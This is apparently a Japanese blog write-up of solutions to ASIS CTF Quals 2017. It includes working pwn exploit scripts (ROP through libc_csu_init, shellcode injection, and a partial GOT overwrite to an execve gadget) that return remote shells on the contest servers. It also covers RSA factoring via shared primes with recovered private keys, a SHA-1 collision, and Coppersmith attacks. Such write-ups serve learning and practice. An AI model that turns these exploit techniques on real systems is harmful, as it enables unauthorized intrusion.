ASIS CTF Quals 2017 供養(Writeup)

ASIS CTF Quals 2017に参加。1075ptで47位。

Welcome! (Trivia 1)

What is the smallest valid flag for ASIS CTF?

ASIS{}

Start (Pwning/Warm-up 89)

ELF 64-bit、NX、canary無効。

$ file Start_7712e67a188d9690eecbd0c937dfe77dd209f254
Start_7712e67a188d9690eecbd0c937dfe77dd209f254: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1027ea7f426946811b9ba65a666db93a2b5bffac, stripped

$ bash checksec.sh --file Start_7712e67a188d9690eecbd0c937dfe77dd209f254
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   Start_7712e67a188d9690eecbd0c937dfe77dd209f254

スタックバッファオーバーフロー脆弱性がある。

$ ./Start_7712e67a188d9690eecbd0c937dfe77dd209f254
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Segmentation fault (core dumped)

$ gdb ./Start_7712e67a188d9690eecbd0c937dfe77dd209f254 core
Reading symbols from ./Start_7712e67a188d9690eecbd0c937dfe77dd209f254...(no debugging symbols found)...done.

warning: core file may not match specified executable file.
[New LWP 5033]
Core was generated by `./Start_7712e67a188d9690eecbd0c937dfe77dd209f254'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x0000000000400551 in ?? ()
(gdb) x/i $pc
=> 0x400551:    ret
(gdb) x/gx $rsp
0x7ffeb5ce6b98: 0x6241396141386141
(gdb) quit

$ python minipwn.py po 0x6241396141386141
24

libc_csu_init gadgetを使ってread関数を呼び、bss領域にシェルコードを書き込んでジャンプすることでシェルを起動する。

from minipwn import *

#s = connect_process(['./Start_7712e67a188d9690eecbd0c937dfe77dd209f254'])
s = socket.create_connection(('139.59.114.220', 10001))

addr_csu_init1 = 0x4005b6
addr_csu_init2 = 0x4005a0
addr_bss = 0x601038
got_read = 0x601018

buf = 'A' * 24
buf += p64(addr_csu_init1) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0x100) + p64(addr_bss) + p64(0)
buf += p64(addr_csu_init2) + p64(0) * 7
buf += p64(addr_bss)
buf = buf.ljust(0x400)

s.sendall(buf)

buf = shellcode['x64'].ljust(0x100)

s.sendall(buf)

interact(s)
$ python test.py
id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
ls
flag
start
cat flag
ASIS{y0_execstack_saves_my_l1f3}

ついでにリモート環境のglibcをチェックしたところ、手元の環境と一致した。

ldd start
        linux-vdso.so.1 =>  (0x00007ffe25593000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2417702000)
        /lib64/ld-linux-x86-64.so.2 (0x000055b406e44000)
/lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu7) stable release version 2.23, by Roland McGrath et al.

Start hard (Pwning 201)

ELF 64-bit、canary無効、NX有効。 上の問題と同様のスタックバッファオーバーフロー脆弱性がある。

$ file start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249
start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c8f1566878cb2ffc7855b9f3b821f3f5c5f11435, stripped

$ bash checksec.sh --file start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249

GOTにread関数しかないので、メモリの書き出しができない。 そこで、read周辺に使えそうなgadgetがないか探したところ、execve("/bin/sh", [rsp+0x70], environ) があった。

$ nm -D -n /lib/x86_64-linux-gnu/libc.so.6 | grep ' read$'
00000000000f6670 W read

$ strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
 18c177 /bin/sh

$ objdump -d /lib/x86_64-linux-gnu/libc.so.6 | less
   f0567:       48 8b 05 4a 29 2d 00    mov    rax,QWORD PTR [rip+0x2d294a]        # 3c2eb8 <_IO_file_jumps@@GLIBC_2.2.5+0x7d8>
   f056e:       48 8d 74 24 70          lea    rsi,[rsp+0x70]
   f0573:       48 8d 3d fd bb 09 00    lea    rdi,[rip+0x9bbfd]        # 18c177 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f057a:       48 8b 10                mov    rdx,QWORD PTR [rax]
   f057d:       e8 3e b6 fd ff          call   cbbc0 <execve@@GLIBC_2.2.5>

GOTにあるread関数のアドレスを下位2バイトのみ書き換え、上のgadgetに合わせる。 また、合わせて[rsp+0x70]がNULLとなるように調整する。

from minipwn import *

#s = connect_process(['./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249'])
s = socket.create_connection(('128.199.152.175', 10001))

addr_csu_init1 = 0x4005b6
addr_csu_init2 = 0x4005a0
got_read = 0x601018

buf = 'A' * 24
buf += p64(addr_csu_init1) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(2) + p64(got_read) + p64(0)
buf += p64(addr_csu_init2) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(0) + p64(0)
buf += p64(addr_csu_init2)
buf = buf.ljust(0x400, '\x00')

s.sendall(buf)

"""
   f0567:       48 8b 05 4a 29 2d 00    mov    rax,QWORD PTR [rip+0x2d294a]        # 3c2eb8 <_IO_file_jumps@@GLIBC_2.2.5+0x7d8>
   f056e:       48 8d 74 24 70          lea    rsi,[rsp+0x70]
   f0573:       48 8d 3d fd bb 09 00    lea    rdi,[rip+0x9bbfd]        # 18c177 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f057a:       48 8b 10                mov    rdx,QWORD PTR [rax]
   f057d:       e8 3e b6 fd ff          call   cbbc0 <execve@@GLIBC_2.2.5>
"""

s.sendall('\x67\x05')

interact(s)

書き換えた16ビットのうち、ランダムなのは上位4ビットのみであるため、16分の1の確率でシェルが起動する。

$ python test.py
*** Connection closed by remote host ***

$ python test.py
*** Connection closed by remote host ***

$ python test.py
id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
ls
flag
start_hard
cat flag
ASIS{n0_exec_stack_slapped_ma_f4c3_hehe_____}

Piper TV (Forensics/Misc 159)

pcapファイル。

$ file PiperTV_e65d6f13bae89c187d2d719ee8bf35cfd9e96387
PiperTV_e65d6f13bae89c187d2d719ee8bf35cfd9e96387: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)

最初のパケットのTCPペイロードを取り出してfileコマンドにかけると、MPEG transport stream dataであることがわかる。

$ dd if=a.bin of=b.bin bs=1 skip=$((0x42))

$ file b.bin
b.bin: MPEG transport stream data

Scapyで送信されているTCPペイロードを繋げて保存すると、19秒の動画として再生することができた。

from scapy.all import *

pkts = rdpcap('PiperTV_e65d6f13bae89c187d2d719ee8bf35cfd9e96387')
s = ''
for pkt in pkts:
    if pkt[IP].src != '192.168.1.107':
       continue
    s += pkt[TCP].load

with open('a.ts', 'wb') as f:
    f.write(s)

14秒付近で一瞬フラグが表示される。

f:id:inaz2:20170409223357p:plain

ASIS{41bb4b2455763d30b175a2c272ac5430}

unsecure ASIS sub-d (Crypto/Forensics 132)

pcapファイル。

$ file Capture_f558be00a386bf5ac2b568452e565340c921583c
Capture_f558be00a386bf5ac2b568452e565340c921583c: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)

Wiresharkで開くと複数のサブドメインに対してHTTPS通信をしており、証明書がsha256WithRSAEncryptionであることがわかる。 そこで、各サーバの証明書からmodulus部分のみを取り出し、Common modulus attackを行うと1組素因数分解することができた。

$ tshark -r Capture_f558be00a386bf5ac2b568452e565340c921583c -x 'ssl.handshake.certificate' >dump.txt
from subprocess import Popen, PIPE
from itertools import combinations
from fractions import gcd

def xxd_r(s):
    p = Popen(['xxd', '-r'], stdin=PIPE, stdout=PIPE)
    p.stdin.write(s)
    p.stdin.close()
    return p.stdout.read()

def get_modulus(s):
    modulus = s[562:819]
    modulus = modulus.encode('hex')
    return int(modulus, 16)

with open('dump.txt') as f:
    data = f.read()

packets = data.rstrip().split('\n\n')
packets = map(xxd_r, packets)
moduluses = map(get_modulus, packets)

for x, y in combinations(moduluses, 2):
    p = gcd(x, y)
    if p != 1:
        print p, x//p
        print p, y//p
$ python test.py
136417036410264428599995771571898945930186573023163480671956484856375945728848790966971207515506078266840020356163911542099310863126768355608704677724047001480085295885211298435966986319962418547256435839380570361886915753122740558506761054514911316828252552919954185397609637064869903969124281568548845615791 146249784329547545035308340930254364245288876297216562424333141770088412298746469906286182066615379476873056564980833858661100965014105001127214232254190717336849507023311015581633824409415804327604469563409224081177802788427063672849867055266789932844073948974256061777120104371422363305077674127139401263621
136417036410264428599995771571898945930186573023163480671956484856375945728848790966971207515506078266840020356163911542099310863126768355608704677724047001480085295885211298435966986319962418547256435839380570361886915753122740558506761054514911316828252552919954185397609637064869903969124281568548845615791 159072931658024851342797833315280546154939430450467231353206540935062751955081790412036356161220775514065486129401808837362613958280183385111112210138741783544387138997362535026057272682680165251507521692992632284864412443528183142162915484975972665950649788745756668511286191684172614506875951907023988325767

素因数分解の結果をもとに、PEM形式でRSA秘密鍵を生成する。

$ ruby rsautil.rb generate
p? 136417036410264428599995771571898945930186573023163480671956484856375945728848790966971207515506078266840020356163911542099310863126768355608704677724047001480085295885211298435966986319962418547256435839380570361886915753122740558506761054514911316828252552919954185397609637064869903969124281568548845615791
q? 146249784329547545035308340930254364245288876297216562424333141770088412298746469906286182066615379476873056564980833858661100965014105001127214232254190717336849507023311015581633824409415804327604469563409224081177802788427063672849867055266789932844073948974256061777120104371422363305077674127139401263621
e? 65537
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAngrEpQXB4trZwDVsEGgyd0joln4QS/+V6AXfrjpiIN+RgB9S
jQ1gVgKyDrZfb7txSq2vDPPdAecimQU750uen4fdeM5WrPDl/wnCqtm/hB/f9sSj
feRqrG95W4KBjilq+KmX8a3o/gOyFlKxjpRdqOAMUWHIOujw3/VDkgAiLtq837bQ
ojKWUGHY7Heze6H5U65fpWn2l3NwQEHEZKsLOy0PHJAqj9vW7vdi6vQozo5/6Cmm
MlyG8x5YFoxeTMPn8uh2LoYFnQy4X5oyLVT9hZFJUozpdP2pXzvKgwHJCvOaIa9K
n1gwdeRR1MPLdSF5srWLj4OoG38rFNnd+CXbawIDAQABAoIBABcd2BmTOALopAUb
S00zEH6mKW8pzVRwdArWIRuo6oWIbg3hhv+ev0KVbln8jwUW08Fqmjo4yVDn8AWV
4Gc6hl8rTlfHRqJRMjMVyGWZKAw5ZVcA+DEH4hqKy6N4+V5D7KOmmtT87SGKhNgD
DHmgdfqnmuWkedc0D1eS1mlan6VemnTxPpbIBvMbk8hqIP3tGvzo4y43PSLyAU/s
uDGxGO8W7aeiRkubsjNLYgrJ8gZ/d9oszGjTCi1UPWeB3iqOtH+AlGu/dKrePFfF
w8WAOa+l/zSiGRnv+DZGnxEY13gggefaL9EoqGYZFx69LWhN6MSkN61FGNIh27QF
Jz7vdfECgYEAwkOps9vQ3Vz9IAcAEzLIosy5f2EpBIpPipVPFl+RZ9e6BgijpdjA
cjuhC+1U3Z3K7Wa67dUjV8NlmUJSw/7EKt7Mn7tYDyuBwTvVMoFHUfMCA/CFeLCE
uyz1KSKJUKUxoIHt5ySqcZKZoTpwGK5J4VYq+aRybUZJvNhPC6Tteq8CgYEA0ERA
SvmWLfHG6/UsLAHBi6vCnRloHP0xdOslvNt1VB8Ig3s5HKxfH7heed0YWu9ZRkwc
WC48eBU38415fcWQPb2bcGz8tNiMiQ8YtM8lCFnmGEl6ftBNE2remlWGEzX0jf2m
XxBFVqmRX7B8EsVCEYlvDgGWD6TMzWslu9YqagUCgYEAs3VKSgrgsf37ICEXYqTh
T/OL0S5yc+1JeZ5gxyxV6PYStQw6ETVg4qZPKfN/GJNyKUljmd3xnlu1eZUZXFH3
6hqUMWMiADGS1m1tkBB5UC0LSZRh2JJIq5jmia+L5mIUrFAa9BKdGfnxzk1rzIEF
YxL09FWEF4p9B+VTcFBVyaUCgYAjUmABF0F0O1w8apF6STX1JUVVdZilyf9YUAVP
eXz1rmm4Ou7dwRJFA/TqACiAS7W9aW0pO3Y/+4FIyka/oQEsp3q0X5egaFW1bR0I
lVU3jF+s4NForpVT5L0qObUKjw0SA+Hyn4TTBOFF9F2mpVPmO4PdQUGdF5swf6qf
p9v7rQKBgHgWzhAsYTiBlXtfnxSxcHIU0BctLUk80lSduQyIVZ7kiSQFbQeKRRwx
r0MGuyehgQq2nof4lqqVG8kS5gltJ/8PDnB/IZCibmyLweBb6DIljtueEBmKZs8z
PQrpPuvLfkQOjIhY97W7u/5abeZzGdzmADUFgIU77ZgIJ+0HE3Fp
-----END RSA PRIVATE KEY-----

$ ruby rsautil.rb generate
p? 136417036410264428599995771571898945930186573023163480671956484856375945728848790966971207515506078266840020356163911542099310863126768355608704677724047001480085295885211298435966986319962418547256435839380570361886915753122740558506761054514911316828252552919954185397609637064869903969124281568548845615791
q? 159072931658024851342797833315280546154939430450467231353206540935062751955081790412036356161220775514065486129401808837362613958280183385111112210138741783544387138997362535026057272682680165251507521692992632284864412443528183142162915484975972665950649788745756668511286191684172614506875951907023988325767
e? 65537
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAq+YvAAPgkyrKgJiS9UeBv0PVpuh67YEc6FsvYP9KfrjWNJC8
OdG6RxalCs35ZRjJ7IDX6guoOprRTGHgw3OKbc7PcDV/XL+KKSuFNRQUXfueUWWE
/weSAV4tm8cnwcZ4CQjeOGAHYpJjp2m/JaD53L+eNg+gAoaPhOQ/ngGBrKosoTDT
YesjvuB6AE6qsmpDwGI6mbCbtRiAw8aSmoxpNnGHuJGk5yPrZ0zmtyiMA5WbLIbd
0uBWwSZaYbsqO0kdO0VjWlgNCj0CKP5/xlZPd1WD6dD6RCBLlDcTfDTmVXA7+LJP
F7eO2MPkrkrN+HTuM9YExBAfs1KNB29yuBmlSQIDAQABAoIBAHS9JvAQsgPfzJRW
iX7vp+qXi9IFEe6Xf2VA/8UUuqeiqT4biOiPSL0cYMscpKEGm6L0wS0d64qZN0hz
NCwoHDuEdpXSjwMSxSY+ewFX+Jj210aZ9h8oKfyp07l2H8bWHRCtqBSLCpjjp6+6
/ef1EZrbuvsl01nDvlXWmGmaxlDWRyHlW62/loxNy5c6rDOWIfOXPPETMJbUURmU
h4o0AchM/KHnh95ZEgUccQxlK0JX3vEHBNr8cXlVAxv1MDhRRAbbNtw4qU6nHW4V
f4Ypb9KkahBDW3HSlFRJf9OyrTRAHNMMGpdQTOez6qdWCp+5fBj3RXxv+SFqtJVa
iYC+FB0CgYEAwkOps9vQ3Vz9IAcAEzLIosy5f2EpBIpPipVPFl+RZ9e6BgijpdjA
cjuhC+1U3Z3K7Wa67dUjV8NlmUJSw/7EKt7Mn7tYDyuBwTvVMoFHUfMCA/CFeLCE
uyz1KSKJUKUxoIHt5ySqcZKZoTpwGK5J4VYq+aRybUZJvNhPC6Tteq8CgYEA4ocB
+wKYZqazr6AU+m4IzCrdYw9A06X2a1qpJvujKwj2h9S010hQ/A3bRb1/0goK1vN7
9rKmtGzBkwnh6b66Zycmc0UuVOxd5lUw0OphSGrxEEGlTns8mWlekh1sAm26S7lw
HS2SXJjGZCCu/PimzDkwuIoR0aOmUsfeIUkR/YcCgYEAs3VKSgrgsf37ICEXYqTh
T/OL0S5yc+1JeZ5gxyxV6PYStQw6ETVg4qZPKfN/GJNyKUljmd3xnlu1eZUZXFH3
6hqUMWMiADGS1m1tkBB5UC0LSZRh2JJIq5jmia+L5mIUrFAa9BKdGfnxzk1rzIEF
YxL09FWEF4p9B+VTcFBVyaUCgYBpbRYB4XpWQ/1annFFABL+GnEAmme8WQAvhHk3
GGQfMkOygc9MZm6ycCx976zebygOVDF8Zjbpv7fzm+TVaZvNSE4/1ZGzmnI1Ma7P
fFWcY5Ef1L1/oiFY8M4/yIutMa5DceF44u28RKoIjaGDQKI4Z+GB8VhLrhNJcZWy
/hPuXwKBgGHGe1jiYYqI2rLOfIFv1cNkwpzz+rvY44rsBQO2U1tUJiTApU2gM54X
CoXmN/6UcyvuVVYC7gng9juq+qgtsAy/hbFQlsdgYMjKDwuEtb+6yuqgGvXZ5sNh
/SvdVXW8EvHlyRY9nTNrpBWZVF9qVaO4JXKBBSpXa9dv8oA1wGCz
-----END RSA PRIVATE KEY-----

秘密鍵Wiresharkに登録すると、HTTPSが復号できた。

f:id:inaz2:20170409223422p:plain f:id:inaz2:20170409223655p:plain

二つあるPNGファイルのうち、片方にフラグが書かれている。

f:id:inaz2:20170409223735p:plain

ASIS{easy_Common_Factor_iS_re4l1y_Forensic_N0t_Crypto!!!!}

ShaColla (PPC/Misc 146)

SHA-1が同じになる同一長のメッセージの組を求める問題。 ただし、SHA-1ハッシュ値の上位ビットが与えられ、SHA-1ハッシュ値はこれを満たす必要がある。 また、メッセージはdeflateで圧縮されて送受信される。

SHAttered(identical-prefix collision attack)を用い、全体のハッシュ値が条件を満たすような最後の1ブロックを探索する。

from minipwn import *
import zlib
import hashlib

# https://shattered.io/static/shattered.pdf
prefix = '255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe01'.decode('hex')
pair1 = '7f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1'.decode('hex')
pair2 = '7346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1'.decode('hex')
print hashlib.sha1(prefix+pair1).hexdigest()
print hashlib.sha1(prefix+pair2).hexdigest()

def recv_zlib(s):
    return zlib.decompress(s.recv(8192))

def send_zlib(s, data):
    s.sendall(zlib.compress(data))

s = socket.create_connection(('66.172.27.77', 52317))
print recv_zlib(s)
send_zlib(s, 'Y')
print recv_zlib(s)

message = recv_zlib(s)
print message
hexdigest_prefix = message.splitlines()[0].split()[-1]
print hexdigest_prefix

data = proof_of_work('sha1', hexdigest_prefix, prefix+pair1, length=len(prefix+pair1)+64)
suffix = data[-64:]
s1 = prefix + pair1 + suffix
s2 = prefix + pair2 + suffix

print hashlib.sha1(s1).hexdigest()
send_zlib(s, s1)
print recv_zlib(s)

print hashlib.sha1(s2).hexdigest()
send_zlib(s, s2)
print recv_zlib(s)

interact(s)
$ python test.py
f92d74e3874587aaf443d1db961d4e26dde13e9c
f92d74e3874587aaf443d1db961d4e26dde13e9c
Hi all, let's go to sha1ing!!
Are you ready? [Y]es or [N]o:

Send us two distinct string with same length and same sha1 hash, with given condition :)
----------------------------------------------------------------------------------------

the sha1 hash shoud be started with 0c3c6
Send the first string:

0c3c6
0c3c6121615cfd7090a597ef8ec0a3991846ad23
Send the second string:

0c3c6121615cfd7090a597ef8ec0a3991846ad23
Good job, you got the flag :)
ASIS{U_mus7_kn0w_sha1_pr0p3r71es_l1ke_hack3rZ!}
Quiting ...

*** Connection closed by remote host ***

A fine OTP server (Crypto 79)

RSA

$ nc -v 66.172.27.77 35156
Connection to 66.172.27.77 35156 port [tcp/*] succeeded!
|-------------------------------------|
| Welcome to the S3cure OTP Generator |
|-------------------------------------|
| Guess the OTP and get the nice flag!|
| Options:
        [F]irst encrypted OTP
        [S]econd encrypted OTP
        [G]uess the OTP
        [P]ublic key
        [E]ncryption function
        [Q]uit
E
def gen_otps():
    template_phrase = 'Welcome, dear customer, the secret passphrase for today is: '

    OTP_1 = template_phrase + gen_passphrase(18)
    OTP_2 = template_phrase + gen_passphrase(18)

    otp_1 = bytes_to_long(OTP_1)
    otp_2 = bytes_to_long(OTP_2)

    nbit, e = 2048, 3
    privkey = RSA.generate(nbit, e = e)
    pubkey  = privkey.publickey().exportKey()
    n = getattr(privkey.key, 'n')

    r = otp_2 - otp_1
    if r < 0:
        r = -r
    IMP = n - r**(e**2)
    if IMP > 0:
        c_1 = pow(otp_1, e, n)
        c_2 = pow(otp_2, e, n)
    return pubkey, OTP_1[-18:], OTP_2[-18:], c_1, c_2

P
the public key is:
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEAvFAnhyZAgP/hqJUL7Bo4
XK1n0e4j88D3UKlV7ZBYUPbleE2RKhCwqM4YCXOwor13duBkeK+XD5TI/rZvzb+K
AoAvBCqSKXNo8gSo0a/UX8y6ARNCvWoQDCPwwQhHA7O8r8cyDSpGZmRqYMJ9BcEJ
T9Fp74pHuiukoJGss66F7pmASPZsESLS8EdeZgRnv4cPWxMX70gvAXuSH0hNZCSs
xw/ZY1TruVx5se79ha0Km9LICf5SA3LFTOItp77p/xeu1s4aPKYjjqo2UvGUAhT5
Ag+0cdWAhe59ta7zQ0lCUyrhrus/ASXZnx9SzMMGrwEJryNk0vZ2TkTZIjn8vlov
uQIBAw==
-----END PUBLIC KEY-----
F
13424849164527521403756445050870196571038349263738328860728317613249912394547060932323343839684520029298203039106900245311207700034998334716959150771582999406348755074104912187806489850969622944734918330324885548301540577480132628996452568553967445688994973186790024440930164778033867173990927208084642999591843071127314339236071916217156416439033470701924870087660092597150191938545867566175612824079002382774093510322941325983882318855242505497250011044422246589076538245270990092478238783625159105688925917894869205653434007711609109280899448542098243852375000
$ ruby rsautil.rb parse test.pem
n = 23772326944340796852467275672633443032762201612528613430472234538984871844351309654309740496507169787684921545588575908965836046961238280521183250949991760841515805925470051888793692378092407921797073545707240336959796786589141025828151239783588726099683741265328318285205945064548683788417993988096855651622109192550780435450579651402383908887230940940950610287307801913581271677458435923866570090466682720310936486837416030793456008585865027786469673202273065542919466136112161589239996547077316321103554153406862673078929869534989057306196295276249632742508957622957964903656631286512028955994079476149028136824761
e = 3

e=3かつ平文の下位18バイト以外が与えられていることから、Coppersmith’s Attackで解ける。

n = 23772326944340796852467275672633443032762201612528613430472234538984871844351309654309740496507169787684921545588575908965836046961238280521183250949991760841515805925470051888793692378092407921797073545707240336959796786589141025828151239783588726099683741265328318285205945064548683788417993988096855651622109192550780435450579651402383908887230940940950610287307801913581271677458435923866570090466682720310936486837416030793456008585865027786469673202273065542919466136112161589239996547077316321103554153406862673078929869534989057306196295276249632742508957622957964903656631286512028955994079476149028136824761
e = 3

c = 13424849164527521403756445050870196571038349263738328860728317613249912394547060932323343839684520029298203039106900245311207700034998334716959150771582999406348755074104912187806489850969622944734918330324885548301540577480132628996452568553967445688994973186790024440930164778033867173990927208084642999591843071127314339236071916217156416439033470701924870087660092597150191938545867566175612824079002382774093510322941325983882318855242505497250011044422246589076538245270990092478238783625159105688925917894869205653434007711609109280899448542098243852375000

"""
$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> ('Welcome, dear customer, the secret passphrase for today is: ' + '\x00' * 18).encode('hex')
'57656c636f6d652c206465617220637573746f6d65722c2074686520736563726574207061737370687261736520666f7220746f6461792069733a20000000000000000000000000000000000000'
>>>
"""
kbits = 18*8
mbar = 0x57656c636f6d652c206465617220637573746f6d65722c2074686520736563726574207061737370687261736520666f7220746f6461792069733a20000000000000000000000000000000000000

PR.<x> = PolynomialRing(Zmod(n))
f = (mbar + x)^e - c

x = f.small_roots(X=2^kbits, beta=1)[0]  # find root < 2^kbits with factor = n
print x

print hex(long(x))[2:-1].decode('hex')
sage@vm-ubuntu64:~$ sage test.sage
9606333759445644504818242095485338582991430
nFzHO7N1ACRCj2GGBF

接続を切らずにそのままにしておき、求まったOTPを送ることでフラグが得られる。

G
Send me the otp :)
nFzHO7N1ACRCj2GGBF
Woow, you got the flag :) ASIS{0f4ae19fefbb44b37f9012b561698d19}

Secured OTP server (Crypto 268)

上の問題の上位ビットが長くなっただけ。

$ nc 66.172.33.77 12431
|-------------------------------------|
| Welcome to the S3cure OTP Generator |
|-------------------------------------|
| Guess the OTP and get the nice flag!|
| Options:
        [F]irst encrypted OTP
        [S]econd encrypted OTP
        [G]uess the OTP
        [P]ublic key
        [E]ncryption function
        [Q]uit
E
def gen_otps():
    template_phrase = '*************** Welcome, dear customer, the secret passphrase for today is: '

    OTP_1 = template_phrase + gen_passphrase(18)
    OTP_2 = template_phrase + gen_passphrase(18)

    otp_1 = bytes_to_long(OTP_1)
    otp_2 = bytes_to_long(OTP_2)

    nbit, e = 2048, 3
    privkey = RSA.generate(nbit, e = e)
    pubkey  = privkey.publickey().exportKey()
    n = getattr(privkey.key, 'n')

    r = otp_2 - otp_1
    if r < 0:
        r = -r
    IMP = n - r**(e**2)
    if IMP > 0:
        c_1 = pow(otp_1, e, n)
        c_2 = pow(otp_2, e, n)
    return pubkey, OTP_1[-18:], OTP_2[-18:], c_1, c_2

P
the public key is:
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEAncu5gvq8kH1B+hYmyF8B
I+7ZOcoWvGzX0Q/KYwfQ77WNGXFujU5+nNv5XwnDkQ1XaCRZos6LVorfmRBmzZbb
J1Mka7eYUR9FlCxdCR7x17EwIXu8xMfiltMsPjoAykSoq2vhcY7sDayRJv8vHMyp
Xy6+TmQOit3FtuO0jK9PxOUnx560S+qAwvV9WH2lddWCtGlFNBrBTYNfmNG5y1rp
8lYHSypJ/8K84kV/uGqMf1fWJnIFi+P4+aX0vNbBb/5d2JH8Cfz6D23wQh4L5DOG
Q3n511gHDYRrbjL4Hghc6tSXAKL3oe7Mkil04LKf6hQphAfjlkhM8v4SitWLtT3y
IQIBAw==
-----END PUBLIC KEY-----
F
1188422616113813496053553446644785491155277725056495133077406134810427354918179773418839186458585086629190467299073654633189329624086069595960668994967547103852948400258498446972054978358855731097774894200002785340775127279923631895754653425337643813099570664041513240120322333892042646980271464598078787163711799284727153517881468467829804213555346302805972059969606688197370170293608090878412083586038600528193556837381285250353938601136840678031755417484439222696604790973024634571702235102822724277983951154829082692296412917552431326616190026740382463204228860768526478610900504250628314243991112671750279905385
$ ruby rsautil.rb parse test.pem
n = 19919874251180966951729336849374146772605372907020846736974628534920540758481942081281950526479808086079698461251637862113062723746596692578392012512819992319696565446099385595233422636618735327040609461813785859019195739350020615012218782827345242323063372193645439238233457163105983911929907265353002354720220894520473880090076913308169740803430630762770978584055014726617474937854818854897232091279501495661599273345930292318324308374136474314177474072828451321052872289773021408532589905959713388064991284287501411929054352910885593341754053572547070139420027965642865615032933514245555918303110472150538283512353
e = 3
n = 19919874251180966951729336849374146772605372907020846736974628534920540758481942081281950526479808086079698461251637862113062723746596692578392012512819992319696565446099385595233422636618735327040609461813785859019195739350020615012218782827345242323063372193645439238233457163105983911929907265353002354720220894520473880090076913308169740803430630762770978584055014726617474937854818854897232091279501495661599273345930292318324308374136474314177474072828451321052872289773021408532589905959713388064991284287501411929054352910885593341754053572547070139420027965642865615032933514245555918303110472150538283512353
e = 3

c = 1188422616113813496053553446644785491155277725056495133077406134810427354918179773418839186458585086629190467299073654633189329624086069595960668994967547103852948400258498446972054978358855731097774894200002785340775127279923631895754653425337643813099570664041513240120322333892042646980271464598078787163711799284727153517881468467829804213555346302805972059969606688197370170293608090878412083586038600528193556837381285250353938601136840678031755417484439222696604790973024634571702235102822724277983951154829082692296412917552431326616190026740382463204228860768526478610900504250628314243991112671750279905385

"""
$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> ('*************** Welcome, dear customer, the secret passphrase for today is: ' + '\x00' * 18).encode('hex')
'2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2057656c636f6d652c206465617220637573746f6d65722c2074686520736563726574207061737370687261736520666f7220746f6461792069733a20000000000000000000000000000000000000'
>>>
"""
kbits = 18*8
mbar = 0x2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2057656c636f6d652c206465617220637573746f6d65722c2074686520736563726574207061737370687261736520666f7220746f6461792069733a20000000000000000000000000000000000000

PR.<x> = PolynomialRing(Zmod(n))
f = (mbar + x)^e - c

x = f.small_roots(X=2^kbits, beta=1)[0]  # find root < 2^kbits with factor = n
print x

print hex(long(x))[2:-1].decode('hex')
sage@vm-ubuntu64:~$ sage test.sage
6551908646185271507224661323315129648164914
K6T9u1eSMNgPgCqd02
G
Send me the otp :)
K6T9u1eSMNgPgCqd02
